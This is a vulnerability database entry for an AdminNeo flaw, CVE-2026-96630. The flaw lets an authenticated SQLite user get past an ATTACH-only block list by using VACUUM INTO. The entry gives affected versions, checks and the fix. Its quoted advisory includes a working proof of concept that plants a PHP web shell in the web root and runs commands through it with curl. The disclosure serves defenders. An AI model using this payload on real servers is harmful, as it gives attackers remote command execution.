---
id: "CVE-2026-96630"
kind: "vulnerability"
aliases: ["CVE-2026-96630", "GHSA-q5mp-gfjf-cf2j"]
title: "AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)"
severity: "high"
cvss: 7.2
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "adminneo-org/adminneo", "fixed": ["5.5.1"], "affected": "< 5.5.1", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["adminneo", "package", "php", "self-hosted", "sqlite"]
not_affected_if: ["no-sqlite-driver"]
published_at: "2026-10-30T22:51:37+00:00"
first_seen_at: "2026-10-30T22:51:45+00:00"
updated_at: "2026-10-30T22:52:34+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-q5mp-gfjf-cf2j", "first_seen_at": "2026-10-30T22:51:45+00:00"}]
---

# AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

AdminNeo blocks SQLite ATTACH queries but not VACUUM INTO, which writes a database file with attacker-chosen content to any path and extension. An authenticated SQLite user can plant PHP code in the web root and run commands on the server.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:adminneo-org/adminneo affected < 5.5.1 fixed 5.5.1

## How to check

- Confirm the installed `adminneo-org/adminneo` version is below `5.5.1` in composer.lock or vendor/
- Check whether AdminNeo is used with the SQLite driver
- Check whether the web root is writable by the PHP process

## Fix

- adminneo-org/adminneo: move to `5.5.1`

## Timeline

- 2026-10-30T22:51:45+00:00 ghsa https://github.com/advisories/GHSA-q5mp-gfjf-cf2j

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-q5mp-gfjf-cf2j
- [advisory] Maintainer's advisory: github.com https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j
- [fix] Patch: github.com https://github.com/adminneo-org/adminneo/commit/cf45efb3ac34e5e7b699cdc996f6eec2814ccda1
- [fix] Release: github.com https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1

## From the sources

## Summary
Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)

## Root Cause
sql.inc.php, line 146:

```php
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}
```

Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

## Steps To Reproduce

### 1.  Login to SQLite
1. Open AdminNeo and select driver: **SQLite**
2. Login and create a new database (e.g., `stage.db`)

### 2. Inject PHP code and write the shell

Navigate to **SQL command** and execute:

```sql
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
```

The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it.

### 3. Execute commands

```shell
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)
```

## Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_